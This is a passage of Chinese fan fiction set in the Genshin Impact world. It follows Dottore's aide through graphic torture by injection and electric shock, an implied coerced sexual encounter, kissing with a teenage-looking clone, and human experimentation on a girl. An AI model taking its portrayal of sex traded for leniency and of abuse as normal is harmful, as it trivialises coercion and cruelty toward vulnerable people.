用作惩罚之前注射给被惩罚对象,前身大概是从多托雷给我喂过的那款会让人疼痛且意识昏沉的药粉改良而来,添加了能让人一直保持清醒的药物成分。 要让“犯错的人”意识完全清醒地接受完所有的惩罚,否则,惩罚便不会起效。 这是经历过无数次改良之后,最终确定下来的版本。 要说为什么在考虑了如此多的因素之后,却反而没有强制规定堵塞受惩罚者的口腔防止自杀。 ——想在实验室未经允许地死去,实在是一件天方夜谭般的事情,不是吗? 我低垂视线,看着皮肤被穿破,透明的液体流进青色的血管里。 按理来说,“惩罚”的相关环节会有实验室的专人来负责。 只是赞迪克这次特意赶走了其他人,要亲自负责对我的“惩罚”。 在注射完成的那一刻,身体开始泛起密密麻麻,犹如蚂蚁啃噬的疼痛。 “你很少会帮助一个实验体到如此的地步,连这么明确地被警告过后,也没能打消你的想法。” 赞迪克丢开注射器,启动电流的开关。 比预想中还要强的电流瞬间贯穿全身,肌肉因为剧烈的疼痛而紧绷,我甚至能听到自己牙齿紧咬摩擦的声音。 “呜……” 在电流的刺激下,那被注射进去的药剂似乎也被激发了效用,大脑疼痛地像是被斧头从中间劈开,神智涣散,无法思考。 第一波的二十秒,漫长地犹如二十个小时一般。 等到电流突兀地停止,疼痛骤然减半,大脑飘忽忽的,连身体也不由得无力地松软下来。 赞迪克抱着双臂,站在离我半步远的距离,冷眼低眉看着我。 “所以,为什么?”他问,“那个实验体身上,有什么值得你另眼相看的东西吗?” 但说完,他又自顾自地反驳:“不,不不,那个实验体,实在是过分普通,无论是体质,还是其他。所以说,你到底,是看中了哪一点呢?” 身体被电得无力,大脑还因为药剂而疼痛嗡鸣。 我咬了咬牙,从喉咙里挤出一点干涩的声音。 “同情心泛滥而已。我又不是第一次做这种事情。” “你不是那么善意泛滥的家伙,塔德纳。”赞迪克否认道,“你见过很多实验体,无论是在‘本体’身边,还是在其他切片那儿,或者,是在我这里。但就我的观察,你只会‘选择性’地救一些人,对于除此之外的大多数,你则会选择‘旁观’。” 赞迪克的声音和耳边的嗡鸣混在一起,无端令人心烦。 “你似乎会遵循‘某一种规则’,依靠这类规则,你筛选想要施救的对象。”说到这里,赞迪克忍不住嗤笑一声。 “真是傲慢呐,塔德纳。你在以自己的‘观感’,给见过的人‘分类’吗?” 不…… 不是这样…… 短暂的间歇过去,电流再一次启动。酸胀的肌肉再一次被电流冲刷,比第一次还要让人难受。 “呃啊……” 咬紧的牙关间,痛苦的呻吟控制不住地往外泄。 边上,赞迪克的声音还在喋喋不休。 “电流的强度是会逐步增强的。能感觉到吗?越来越痛苦的感觉。没有能够完整撑过十五轮惩罚的人,即使是以你的身体强度,想要经受下来也绝非易事。” 那双猩红色的眼睛靠近我的面庞。 赞迪克弯下了腰,我从里面看到自己狼狈的表情。 “更何况,注射的药剂会让你一直保持清醒,且加强你对疼痛的感知。” 第二轮电流停止,我的身上已经被汗透了。 赞迪克伸手,在我被绑上之前提前捋起裸露的手臂上狠狠握住用力。 手臂好像被千斤的巨石砸中一般,疼! 是那药剂的作用! 而且,似乎随着时间推移,药剂还未达到完全的效果,所以,明明是同样的力度,赞迪克掐住的皮肉却越来越疼。 即使是感受过的最高强度的电流的疼痛,比起现在也不遑多让了。而按照赞迪克的说法,之后的十余轮惩罚,强度还会提升。 我终于知道赞迪克那句“没有能够完整撑过十五轮惩罚的人”是什么意思了,心里后知后觉地浮现起恐惧,如蛛网,密密麻麻裹挟住心脏。 “等……” 我忍不住挣扎起来,但是下一秒,赞迪克松开手,电流也随之再次启动。 第三轮,比前两次还要强的电流,加上身体在药剂的影响下,比新生的肌肤还要敏感的感官。 我疼得抑制不住地哭泣起来,甚至,在越发加深的疼痛中,内心不可避免地闪过逃避的想法。 “疼……好疼……呜呜……” “为什么要救那个实验体?” “……” 大脑昏沉着,沉浸在疼痛里的身体连问题也反应不过来。 赞迪克并没有催促,只是冷眼看着,看着青年在短暂的“休息”后再一次痛得哭喊起来。 一旦被判处执行一级惩罚,那么,也说明这个实验体失去了被留下来的资格。 惩罚的间隙也并不是为了让实验体感到好受一点,而是,用“短暂的休息”击破被惩罚者的心理防线,增加实验体受到的痛苦,亦或者是—— 套取情报。 每一次间隙,赞迪克都会再问一次。 等到第五次惩罚轮次结束,青年才像是终于承受不住了一般,痛苦地蹦出一字一句的回答。 “因为……因为,魔……魔鳞病……” 意料之外的回答让赞迪克愣了一下。 “魔鳞病?呵,就只是因为这个?” “还有……会……会想起,活力之家……阿……阿巴斯……” 从青年嘴里吐出的名字几乎让赞迪克瞬间回想起须弥的黄沙,以及,因为一个“低劣的实验体”被背叛,刺进胸膛的尖刀。 赞迪克冷嗤一声。 无边的怒火腾起,几乎要烧断他的理智。 他伸出手,不顾电流被再次接通,将青年脖子上的铁环捏碎,然后掐着青年的脖子将人压在地上。 青年徒劳地扒着赞迪克青筋蹦起的手,喉咙里发出破碎的嗬声。 “你真是……惹我生气的好手,塔德纳。” 赞迪克笑起来,只是那露出半边的嘴角狰狞地往下拉着。 他看着青年,内心评估着,评估着要从哪里下刀才能让青年知道疼痛,知道恐惧,恐惧到再也不敢提起这件事。 手腕被虚弱地环 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收拢在青年脖颈上的手指抽动两下,最终松懈力度,转移到青年的后脑勺,按着青年深吻下去。 …… 意识在惩罚的中途便失去了控制,等到我再次醒来的时候,已是被安置在某间休息室,我揉着浑身酸痛的肌肉,茫然地从床上坐起来,靠着装饰的区别认出这里是赞迪克的休息室。 我下意识地想要下床,但肿胀的后面被牵连,引出缠绵的疼痛。 “呜……” 我捂着头,虽然脑海里的记忆一片空白,但身体的状况已经足够告诉我发生了什么。 赞迪克…… 那个家伙…… 那个家伙不是三百年前就信誓旦旦地说过永远不会和我做这种事情的吗?! 我咬了咬牙,撑着双臂将自己狼狈地从床上移下来。 光裸的脚底板落在毛绒的地毯上,并不会感到冰冷,但身体暴露在空气中还是有些清冷。 我在休息室找了一圈没找到自己的衣服,料想到赞迪克恐怕早就嫌麻烦把衣服扔了之后,只能灰溜溜地打开衣柜翻找能够穿得了的衣服。 一打开衣柜,巨大的空间里摆放着零星两件大衣。 我忍不住愤怒地一关柜门。 赞迪克是完全不在这边留宿吗?! 正在心里怒骂着,休息室的门被人打开。 赞迪克打开灯,眼神落在我的身上顿了一下,随即不着痕迹地移开。 “你在干什么?”他问。 “如您所见,寻找自己精挑细选,托枫丹一位认识的服装设计师,花了大半个月才定做好的全套衣服。” 赞迪克有些意外:“没想到你还发展出了这种兴趣爱好。” “呵,毕竟薪水很高,又没地方花。”我扯了扯嘴角,“所以,我的衣服呢,Beta大人?!” 赞迪克的回答非常干脆:“扔掉了。” “我就知道……” 指望这位大人会考虑别人的感受这种事,还不如指望他早点报废退休。 虽然按照多托雷高超的切片技术,这几乎是不可能实现的事情。 我坐在床上,用一角的被子盖住关键的部位,然后伸手抚上耳垂的耳饰。 赞迪克:“你干什么?” “如您所见,叫人来接我。” 赞迪克的神色变得很不好。 我加上后面半句话:“顺便让人给我送套能穿的衣服。” 赞迪克的神色几不可见地一僵。 赞迪克:“你明明也可以让我帮忙……” “您的意思是我要指望一个把衣柜当装饰品的家伙去替我找衣服吗?” “……” 我上下扫视着赞迪克,忍不住再加了一句。 “而且,说实话,您的衣品真的没别人好。” “……” 赞迪克脸色变幻了好几下,最终,他只从嘴里咬出一句“随你”,便气冲冲地离开了。 门被关上时发出巨大的“砰”的一声。 60.第 60 章 至冬的年末,气温变得愈发冷了,以至于街上的行人也少了不少。 按照至冬的习俗,年末的一周是放假与家人团聚的日子,走在街上可以看到每家每户的门前都有装饰大量的松树枝,间或能在街上看见打闹的孩童。 此时,我正拉着少年切片的手,朝着城外的方向走去。 “你到底要带我去哪里?” 间隔的脚步落在雪层上,发出“吱呀吱呀”的声音。 “暂且保密,大人。” 我笑着揽过少年切片的肩膀,掌心覆在少年的后背,轻轻往前推着。 “……你最好保证你要做的事情真的能……喂,别突然用力!我差点摔倒了!” “抱歉抱歉。” 我漫不经心地道过歉,手上的力度却没有丝毫减轻。 少年切片被迫被我推着加快行走的速度。 我要带少年切片去的地方就在城外不远的地方,那里被开拓出来用作市集买卖的事务,只是这两天快过年了,大部分的商贩都已经歇了业,所以也算一处人烟稀少的僻静之处。 等到了地方,我松开少年切片,在提前准备好的箱子里拿出几根仙女棒烟花。 “来来来。”我抽出一半,递给少年切片。 少年切片露出嫌弃的神色。 “这就是你从实验室突然把我拉过来,走了半个小时雪路想给我展示的东西?” “你要不要?” 少年切片抱臂:“我才不要这种东西,太幼稚了。还有,你刚刚是什么称呼?” “好吧。您,尊敬的Alpha切片大人,您!到底要不要?” 少年切片油盐不进。 “说了不要就是不要。我又不是小孩子,只有小孩子才会玩……” 我从少年环紧的臂弯里掏出少年的手,然后把烟花塞进去。 “你……我不要这个,你松开我的手!”少年切片想要扔掉手里的东西,却被我包裹着手指外握紧。 “塔德纳!” 因为怒火而升高的少年音在耳边炸起,我连眼睛都没眨一下,抬手用点火器点燃仙女棒。 明亮的光在仙女棒上燃起,映得少年切片的脸不停闪烁。 我将自己手里的烟花也伸过去,借着少年手中点燃的烟花也烧了起来。 于是闪烁的脸变成了两张。 仙女棒的烟花实在是过分短暂,不过短短十几秒就熄灭了。 等两边的火光都熄灭,我看着少年切片僵硬的脸色,忍不住笑出声。 “你笑什么笑?”少年切片扔掉手中只剩下黑色细杆的烟花,完了还不解恨,又伸脚踩在那残骸上。 “结束了吗?结束了我就走了。下次再为这么幼稚的事情找我的话,我可不会……” “不会什么?” “你!”少年切片的脸红了一半,也被知道是气的还是怎么。 “不准打断我的话!”少年切片色厉内荏,脚下又狠狠地碾过烟花的残骸。“我走了!” “欸——再等一下嘛,大人。”我拉着少年切片的手臂。 少年踉跄了一步,脚下差点摔倒。他扶着我伸过去的手臂,眼里的神色恨不得是杀了我。 “塔德纳,别以为我会……” 我将少年切片轻轻一拽,拽得和我一起坐在草坪上。 不远处的天空,“咻”的穿云声响起,一点火光窜上天空,然后迅速炸开,成了五颜六色的花。 如同一声号召,越来越多的火光响应着窜了上来,漆黑的夜幕被无数的烟花点缀,亮的如同日光一般。 身边的少年噤声了,只剩两具身躯间的十指交错紧握着。 少年切片的体温并不算高,在冷风里吹了一遭,如今更显得冰冷。 我微微偏转过头,稍稍俯身。看着那红色的眼底倒映的烟花,感到少许的轻松惬意。 “如何?”我问少年,“给您准备的礼物,喜欢吗?” 少年如同初醒般转头,动作幅度大得差点撞到我的鼻尖。 “还……还行吧。”他说。 “只是‘还行’吗?”我露出惯对付少年切片博取同情的表情。 “这可是我专门参考了璃月的烟花样式,提前半天时间才布置好的,就只是‘还行’吗?” “你……你别这样……” 少年切片慌张地想要离我远点,但两人相扣的十指却限制了他的动作。 我伸出另一只手压在少年切片另一边的草地上,膝盖跪在地上,俯身爬向少年。 呼吸与呼吸在极近的距离交汇。 从这个距离,我甚至能看到少年切片微微闪躲的眼睛。 我刻意放轻了语调。 “我可是,一直期待大人您能夸奖我一次呢。” “哪里有这种无中生有的事情……你,你你你,你别靠这么近啊……” “为什么?”我歪了歪头,“您不想和我亲近吗?” 少年切片咬着牙,身体向后仰到差点要躺在地上了。明明嘴上那么抗拒,相握的那只手掌却没有丝毫要反抗的意思。 我干脆将少年切片推到在地上,双.腿跪在两侧,然后俯身亲吻上少年的唇瓣。 少年切片起初还有些抗拒,但很快就张开嘴接受了,甚至在夺过主动权后翻转身位,将我压在了地上。 少年的吻技很好,与这技术相反的是,少年发丝间红得快要滴血的耳朵。 在满天的烟花声中,无人会注意到不起眼的角落,有两个人在纠缠热吻着。 等到烟花全部放完,那已经是十分钟之后的事情了,我替少年切片整理着刚才弄乱的衣服,临了在少年的脸侧轻轻碰唇。 “这下,您要我送的礼物我可是已经送到了哦。” “……我还没有说过满意。” “真的吗?您真的对我精心准备,耗费了大价钱才凑齐的礼物感到不满意吗?我会伤心的。” “……满意满意。行了吧?你别用这个语气和我说话。” “哈哈,满意就好。”我将刚才散落在地上的斗篷抖两抖,然后覆在少年的肩上。 我说:“既然如此,时间也差不多了,送您回去后我就得离开了。” 手腕被轻轻捉住。 少年抬头看我:“今天陪一下我不可以吗?” 我有些为难:“但是主人那边……” 我想起白天找多托雷好不容易才拿到的半天自由支配的时间,不远处,一道熟悉的声音响起,带着些冷意。 “塔德纳。” 我僵硬地转过头,看到多托雷顺着小径走过来。 艰难地挤出那个称呼。 “主人……” 多托雷没有看少年切片,视线落在我正在替少年切片整理衣服的手上,发出一声轻笑。 “自由时间已经结束了。”他说,轻轻招手,“到我这边来吧。和我一起回去。” 我下意识地听从命令,走到多托雷身边后,一双手落在我的肩膀上,即使是隔着厚厚的衣服也能感受到上面的寒意,像是在室外待了很久。 他捏着我的肩膀,将我转向面对内,压着后颈拢进怀里。 多托雷的怀抱也很冷,又硬又冷,我被冻得哆嗦了一下。 少年切片不满。 “啧,‘本体’,在这个时候打断,你已经阴暗到要整天盯着塔德纳,不让其他切片碰他的地步了吗?别忘了,‘我们’,也是‘你’。” “当然,当然,我自然不会忘。但你似乎误会了什么,Alpha,我只是来接这么晚还没回家的宠物而已。” 圈着后颈的手掌轻柔地揉捏着。 “你明明知道塔德纳会和我……” “知道什么?”多托雷打断少年切片的话,像是失去了耐心。 “我只是同意了塔德纳暂时自由活动的请求而已,也收到了相应的‘报酬’。只不过,对于其他的,比如和某位切片跑到荒郊野岭的地方放烟花,这一点,我可完全不知情。” “而现在,‘隐瞒不报’的宠物应该支付欠下的‘报酬’,不是吗?” “你!” 忽略身后少年切片气急败坏的声音,多托雷压着我的脖子将我带走。等远到再也听不到少年的声音后,多托雷松开我,我也终于能顺畅地呼吸了。 但我只是低着头,连呼吸的声音也不敢放大。 多托雷没有出声。 我半天听不到他的指示,有些忐忑地抬头,便看到多托雷若有所思地盯着不远处的夜幕。 多托雷似乎注意到了我的视线,转头看过来。 我心里一惊,连忙又把头低下去。 又过了一会儿,我听到多托雷带笑的声音。 “一个人的不同年龄阶段,受到的期望和待遇竟然会相差这么大吗……”他说,带着几分若有所思的意味。 还没等我反应过来多托雷的意思,便听到多托雷说了一句:“跟上。” 我下意识伸 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“他的傲慢,他的才华,他的冷漠,一切都承自于铭刻灵魂的印记,理应不被改变,也理应无法改变。” 我已经忘了那天多托雷还说了什么,大脑在不停地嗡鸣着,那旧日残余的疼痛再次找上我,比以往更加剧烈。 我几乎要站不稳,事实也是如此,等到双手的指间插进雪地的时候,我才稍微听到多托雷的声音,带着一丝惊讶。 “塔德纳,你怎么了?” 话语里的慌乱不似作伪。 身边高大的身影似乎弯下了腰,我能感受到腋下被两只手钳着,应该是想拉我起来。 我咬着牙,挣开了那双手。 多托雷似乎愣了一下,连那双手也放在半空隔了一段时间才收回。 下颌被捏住,被迫张开的嘴里,手指挟带着药丸伸到最深处,直到我难受想要干呕的时候才拿出来。 下意识地吞咽,很短的几秒后,意识变得昏沉,陷入黑暗。 …… 我做了一个梦。 难得的一个梦。 难得到,五百年的岁月,这是我来到至冬后做的第一个梦。 在梦里,我回到了须弥,回到了教令院,身上穿着那套熟悉的绿色的衣服。 我坐在熟悉的角落,身边没有人愿意接近我。 他们即使是搬着凳子坐在最后面,或是中间,也不愿意坐在我附近的位置。 我有些落寂。 但这样的生活对我而言只是常态罢了。 没有人会喜欢毫无才华,性格阴郁的家伙。 这很正常。 我宽慰着自己,打开课本,再从包里拿出笔记本,以及颜色不同的笔。 左边的座位上落下一个人影。 我身体一僵,大脑变得一片空白。 身边传来的声音过分年轻,像是一位少年。 “你好,能借我一支笔吗?我忘记带了,谢谢。” 我本来想拒绝,但对方已经说了“谢谢”了,我再拒绝是不是显得太不好了? 我只能把自己的笔分给那位少年一支。 “只有……红色的了。” “能用就行。” 我们之间恢复了沉默。 我能听到少年记笔记时笔尖落在纸上的声音,沉稳且有力。 又过了一会儿,我听到身边的人问我。 “哦对了,你叫什么名字?” 有陌生的热气靠近我,那是少年稍微侧身靠近我,我吓得把自己往墙上贴,但位置就那么大,少年都要跨过半边座椅了,我就算再缩也免不了被贴近。 “你……别靠这么近。” 身边的声音不管不顾:“你叫什么名字?” “我……” 挡在面前的手臂被握紧拉开,我不可避免地看到少年,从薄荷色的微卷发,耳垂上奇怪的试管耳饰,再到…… 空无一物的面部。 “!” 我吓得“砰”一声站起来,巨大的声响让所有人都看过来。 无数个人,青年或者成年体的都有,皆是薄荷色的卷发,戴着耳饰,脸上没有五官,密密麻麻的人影看着我。 我起了一身鸡皮疙瘩,想要挣开少年却发现少年的力气大得惊人,无论我怎么用力都无法动摇半分。 …… “唔……” 我从床上坐起来,大脑嗡嗡地闷响。 61.第 61 章 Alpha切片被派往了须弥,未来将会有很长的一段时间不会回到至冬。 我不清楚那日多托雷的话语到底是心存试探还是其他,总之,在那之后,我被压在赞迪克那里,负责实验的推进。 说是“负责”,但其实落在我头上的活计很少。 毕竟赞迪克有自己的下属班子,大部分的工作其实都已经有人做了,我便被派去负责实验体的日常管理工作。 事情不多,也不用看到赞迪克,总的而言,是一件还不错的工作。 “副官大人,这是今天要送去的实验素体的名单。克洛伯大人说过了,要在两个小时之后看到实验体。” 我接过青年手里的名单。 实验体这边工作的员工大多是年纪较轻来磨资历的年轻人,行事比较稚嫩,但也很有工作的激情。 相比起来,我这个提不起什么热情,见缝插针摸鱼的“老人”,偶尔甚至会显得有些格格不入了。 但好在,因为年轻人偏多,所以他们对我这个“传闻中的副官”称得上是态度恭敬。 我露出一个笑容。 “我知道了。”我看了一眼青年,“我记得你,今年新招进的新人对吧?你的能力很不错,做事也勤勉,相信不久之后就能转正去实验室做事了。” “感谢您。”青年高兴地连声音都轻微发着抖。“您,您和传闻中一样待人亲和,我,能见到您实在是我的荣幸。” “不用这么夸张。我也只是普通人而已。” “当然不一样!”青年有些激昂,但很快,在对上我的视线后,又害羞地恢复平常。 “您,您是【博士】大人的副官,资历最久,也最得信任,还不会像其他人高高在上,对我们这些人爱答不理。” 青年的语气带上一点急促。 “副官大人,您可是常年位居‘最受欢迎的上司’榜单第一的存在啊!” 我的表情微微僵硬。 “什么榜单?” “就是……”青年也终于意识到自己说漏嘴了,“抱歉,我什么都没说!” 我扶额。 愚人众内部会有一些奇奇怪怪的榜单评比这件事情我当然是知道的, 毕竟平时的任务已经很辛苦了,这类娱乐性质的调剂活动,只要不违反规定,上面也没有赶尽杀绝的必要。 甚至,一些特殊的榜单,还会有“打榜”之类的行为,也算是变相促进消费了。 只是,这个什么“最受欢迎的上司”,到底是什么时候出来的野榜…… 看到青年脸上惴惴不安的神情,我感到一丝心累。 “那个什么榜单……我能问一下【博士】大人排第几吗?” “……诶?!” 青年讶异地看着我,有些反应不过来。 我突然意识到自己问出了一个多么愚蠢的问题,如果少年切片在这里的话,大概会毫不留情地骂我一顿。 “算了,你不用……” “那位大人连榜单都没进。” “啊?” 犹如突然急刹车然后180度大转弯一般,我的大脑还停留在上一个段落。 “大家都不敢编排那位大人,不过如果那位大人进榜的话,名次应该也会很高吧。”青年讪讪笑着。 我从青年的笑容里看出几分勉强。 就连一心想进实验室搞实业的新后生都对多托雷的“受喜爱程度”不抱希望。 哈哈。 完全不出所料呢。 青年或许是觉得氛围有点僵硬,于是飞快地转过这个话题。 “哈哈,不过第二名是【队长】大人呢,大家都很希望在【队长】大人手下工作。只不过【队长】大人经常出差,工作地点变动频繁。” 如果不频繁第一名就会是【队长】的意思对吧。 我点了点头,放过了青年。 “我知道了,你先下去吧。” 等青年离开,我展开手中的名单,看一眼上面整齐排列的五个编号后,点了两个平时办事利索的,跟我一起去找编号相应的实验素体。 实验室对此有一整套的“行业黑话”,从关押的房间里找到实验素体并交付给实验室的过程被称之为“提货”。 完全无视实验素体作为“人”的权利。 我不是很喜欢这种在这个行业几乎被视作“默认准则”一样的东西,但与其他人做交接时,有时也不得不使用这样的说法。 “素体53,54,55,56,57号。就是这五人了,请把他们带来这里吧。” “是,副官大人。” 不多久,五个看起来年纪都不大的实验素体被带到。我从里面看到熟悉的绿色头发。 是柯莱。 她被换上了实验素体通用的衣服,身体上的绷带自然被扔掉了,于是露出来的皮肤上,魔鳞病的痂痕显得格外明显。 柯莱似乎也很不习惯这样,手掌盖着可能会被看到的痂痕,躲在人群最后面。 看到我,柯莱的表情微动,那双本来低垂的眼睛也高抬起来,带着一点光亮闪烁。 旁边的人提醒。 “副官大人,素体都已经带到了。刚才实验室那边来人来催了,说是要尽快送过去。” 我皱眉:“克洛伯不是说两个小时之内就行吗?怎么突然变卦。” 或许是语气不太好,我看到回话的人抖了一下。 “是那位克洛伯大人亲自带人来传话的,说是要马上带人过去。具体的,属下也不清楚。” 克洛伯…… 那个赞迪克身边的下属,最近风头正盛,被赞迪克委以了很多重任。 也不知道赞迪克到底看中了那家伙什么……明明才能也并不特别出众。 “实验素体去实验室之前都要经历过完整的检查流程,最少也要半个小时的时间。” “可是克洛伯大人已经在外面等着了……” 我声音放冷:“他要愿意在外面冻着就继续等。有什么不满的话,让他尽管去告状就是了。” “这……” 我叹了口气。 “你去回他‘这边人手不够,还要一段时间才能准备好素体’就行了。” 下属感激地回了一声“是”,然后行礼离开了。 我久违地感到有些头疼。 克洛伯算是我最不喜欢的那类人之一,以谄媚上级的手段升职,为了讨赞迪克的喜欢,像是“主动征收实验体”这种黑活干得不少,据说最近,还搞起了“魔物化人类”的实验,残害了许多性命。 我很清楚这类人在赞迪克身边是呆不久的,也懒得和克洛伯打交道,偶尔碰面,被口头冒犯两句也只是装作不知情地蒙混过去。 稍微整理思绪,我让人带着实验素体下去进行检查流程。等到实验素体排成一队从我身边经过的时候,我感受到衣角被轻轻拉了一下。 我低头,对上柯莱的双眼。 阻止身边人想要拉开柯莱的手,我半蹲下来。 “有什么事吗?”我问。 柯莱抿了抿唇,拽住衣角的那只颤抖的手彰示了她与脸上故作的镇定完全相反的恐惧。 “我……我会被送去哪里?” “实验室。” “那,我还能活下来吗?” “当然能。”如果那样的状态真的能称之为“活着”的话。 在我看来,实验素体被送来这里的那一刻,便早已经失去了以普通定理判定死活的意义。 少女的神情稍微放松。 “是你说出来的,所以我相信你的话。”她说。 “很感谢你之前给我做的包扎,伤好得确实很快。在那之后很久没看见你,我还以为你被……不过幸好,今天在这里看见你还好好的。” 我:“……” 要是少年知道眼前这个帮过她的人也是将她送往地狱的人,还真的会感激那点在帮助者本人看来都“微不足道”的帮助吗? “我走了。等我回来,还会在这里看到你吗?” “……到时候你可能不太会想看见我。” “不会的。”少女脸上的神情笃定,“你和他们不一样,和他们所有人都不一样。你帮过我,这点我会永远记住的。” 少女轻轻靠近我,有些犹豫地张开双臂,却并没有接触到我,只是隔着一层距离做出一个怀抱的动作。 “你好像不太高兴。”少女说,“我本来想抱一下你,但我害怕身上的病 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这是我的人生信条之一。 这项信条已经证实了自己的正确性,在我人中当中做出的为数不多反抗“权威”的事情后经受的惩罚来看。 违反多托雷的代价难以承受。为了在多托雷身边生存下去,我必须让自己成为“共犯”。 只是偶尔,在权衡利弊之后,做出一些并不会让多托雷真的生气的举动。 比如放跑一两个资质并不好的实验体,或是给一些需要帮助的人提供一点药物。 多托雷并不会阻止我这些举动。在不违反他的底线的情况下,他很乐意给我这种所谓的“选择自由”。 尽管在那之后他确实会记下我的小动作,等到积累到一定程度后一起给我一点“惩罚”。 一场心知肚明的“交易”,用“身体”,交换“被宽纵的可能”。 不要去做能力范围之外的事情! 我最后如此警告了自己一遍,拧开水龙头洗了把脸,然后才开门出去。 实验素体已经被送走了。 这座关押着许许多多实验素体的设施又恢复了往日的状态,无数人各司其职,犹如一台静静运转的机器。 但我很清楚,这里面蕴含的黑暗。 那是无论如何也洗刷不净的,最邪恶的黑暗。 而我,也正是这黑暗中的一员。 是在所有拥有美好结局的故事里都会被肃清的反派角色。 这一批实验素体被送回的时间比以往任何一次都要晚。 实验室尝试了新的实验,研究人员在柯莱身上发现了特殊的可能性,她体内的魔鳞病与注射进去的魔神力量达成了微妙的平衡,借由这种平衡,研究人员在她身上看到了移植魔神力量的可能。 高剂量的魔神残渣被注射进少女的身体,这样的实验一直持续了两天,等到研究人员将柯莱送回的时候,我看到了熟悉的身影。 赞迪克。 在他的身边,是狗仗人势的克洛伯。 执行官莅临,几乎所有人都暂时停下工作过来。我也站在人群之中,听克洛伯在上面讲完了狗屁不通的一大堆废话,大抵是要“时刻铭记【博士】大人的恩情”之类的。 我不清楚赞迪克大驾光临来这里到底是有什么特殊的目的。按理来讲,他现在应该在实验室昼夜不停地研究他那些高深的实验。 我心里还想着柯莱的事,听说柯莱被送回到原本的关押间后,急着想去看柯莱。 结果走的时候被叫住了。 “塔德纳!【博士】大人找你。” 我转过头,看见克洛伯那张眼睛恨不得长到头顶上俯视我的样子,忍不住啧了一声。 克洛伯:“你啧什么啧,是对【博士】大人不满吗你?!” 我懒得理这个像跳蚤一样整天跳来跳去惹人心烦的家伙,只是看向赞迪克。 “Beta大人,您觉得我是对您有不满吗?” 赞迪克:“……” 赞迪克:“克洛伯,闭嘴。” 62.第 62 章 克洛伯悻悻退下了,只是那双总是倒垂眼神凶狠的眼,看着我的目光不怀好意。 “所以,您找我有什么事?” 赞迪克问我:“那个54号实验体,我记得,她和你的关系不错,对吧?” 54号实验体…… 是柯莱。 但我面上还是装作一副没想起来的样子,愧疚地道。 “抱歉,Beta大人,最近的事务比较繁忙。54号……请让我想想,是两天前被带走的实验体之一吗?不过实在抱歉我忘记具体的对应编号了,可能需要一些时间去确定后才能答复您……” “不要装傻,塔德纳。”赞迪克打断我,“为了帮54号实验体连惩罚都能替受。不过,我想那个实验体恐怕对这件事一无所知吧。为一个不必要的人把自己搞得那么狼狈……” 我有些受不了赞迪克的措辞。 “Beta大人,有话就请快说吧。那件事情,已经没必要再提起了不是吗?” “怎么,为自己的一时冲动后悔了?” “后悔的人恐怕是大人您才对吧?” 赞迪克:“……” 赞迪克:“啧,算了,我不是来找你争论的。”他变转语气,“54号实验素体,有着极佳的实验潜能,如果你也拥有如我一般的才能的话,想必你也会动容的,只可惜,你没有。” “这种注定的事情,就没有强调的必要了吧,Beta大人。” “呵呵,不必露出那种表情。你看,你其实和我一样,对过去耿耿于怀不是吗?” 我选择了忍声沉默。 赞迪克继续着自己的喋喋不休。 “当然,即使你的天赋乏善可陈,你也依旧是‘我’,或者说,【博士】身边,最亲近的人。塔德纳,你很擅长讨人喜欢,只要你愿意。” “去安慰一下你的‘朋友’吧,我想现在,她正需要你。希望下次实验的时候,54号实验体能够恢复活力,不再消极配合。” 我感觉到自己的喉咙干涩,灵魂如同被抽离一般,只能听到自己的声音还在询问。 “你们,对她做了什么?” 赞迪克笑出来。 “54号是一个非常完美的容器。”他说。 我转身朝着关押实验素体的方向快步走去,连向赞迪克最后行礼告退的耐心也没了。 背过身不久的时候能够隐约听到克洛伯嚣张地说了什么,被赞迪克一句“闭嘴”堵回去了。 我猜想他大概说的是我“对赞迪克态度不恭敬”之类的事情。 克洛伯自从上位之后一直对我怀揣着说不清道不明的敌意,总是致力于在各种事情上给我找不快,使绊子。 虽然大部分都会被当成无理取闹然后驳回。 我对和这种上不得台面的人斗嘴的事情提不起丝毫兴趣。脑海里一直回荡着赞迪克意味深长的话语,心里也乱糟糟的。 柯莱所在的房间没有变。我在利用职务之便将柯莱安排进待遇更好的单人间后,无论是实验室还是关押设施的工作人员,似乎都默认了这样的安排。 我将附近来回走动的研究人员支走,在餐点取了一份餐食后来到了柯莱的关押之处门前。 里面空荡荡的,一些基本日用品只有简单动用过的痕迹,晾在铁杆上的毛巾有使用过的痕迹,但却是干燥的,很显然在使用者时隔两日回来后,并没有动用过。 我在房间里扫视了一圈,并没有看到人的痕迹,等到拉开门锁走进去,发出的声音使得床上的被子动弹了一下。 藏在被子里吗? 我如此想着,将手中还热着的餐食放在入门的桌柜上,然后走近,伸手去碰床上高高耸起,还在颤抖的团。 等到离得近了,我才听到被子里似乎有什么声音,呢喃着“不要靠近”,“好疼”之类的话语。 我心中一紧。 “柯莱,你还好吗?” 在手触碰到的那一刻,巨大的力量将我拍飞。 “你……你不要靠近我!不要靠近我……不要靠近我……” 柯莱恐惧地叫起来,如同被困缚待屠的困兽。 手上被刚才的一拍打得发红,手背上划出了三道血痕,往外冒了点血珠,又很快愈合,只剩下一道淡淡的痕迹。 如同痂痕新去。 但疼痛依然残余。 我尽量将声音放得柔和。 “柯莱,你已经不在实验室了,这里不会有人抓你去做实验了。你还记得我是谁吗?记得的话,出来看我一眼吧。我是专门来看你的。” 床上的被子纹丝不动。 我沉默地等待了一分钟,但仍然没有动静。 我叹了口气,准备先回去,等到柯莱情绪稳定之后再来看她。 就在转过身的那一刻,背后传来微弱的声音。 “你……你不要走……” 我愣了一下,看到柯莱打开被子,露出瘦削了不少的脸,眼眶很红,应该是刚哭过,两侧还残留着泪水的痕迹。 似乎是以为我没听到,柯莱抓着被子的手指紧了紧,又说了一遍:“你别走。” 我抿了抿唇,调转步伐,坐在最远的床尾那头。 我一时间竟然不知道该如何面对柯莱,也不知道该说什么。 被实验折磨得奄奄一息的实验体,甚至直接在实验中死去的实验体都太多了,我的工作也包含处理这些“报废品”,见过的太多,道德上本能的不安和司空见惯的习以为常冲突相融,最后达成“平衡”。 其实也就是想不通,做不到,然后开始“摆烂”。 赞迪克让我安抚柯莱的情绪。 他或许只是不希望失去柯莱这个难得的优秀实验素体,又出于一点恶趣味,才增添了所谓的“安抚”的程序,并把这件事情交给我。 对于不听从管教的实验素体,实验室有很多方法让他们服乖,无论是暴力威慑,还是药物控制。 不管怎么样,至少比劳什子的“感性劝慰”来得靠谱。 腰被一双瘦得可怜的手臂轻轻环住了。我看到那上面遮掩不住的淤青和针孔,有些心情复杂。 “我的头好疼……”身边的声音压抑着痛苦,“那些人一直抓着我给我注射很疼的药剂,身体好像被砍了一刀一样疼……大脑里,还一直有声音在说话。我好害怕……好疼……我不想继续待在这里了……” “……” 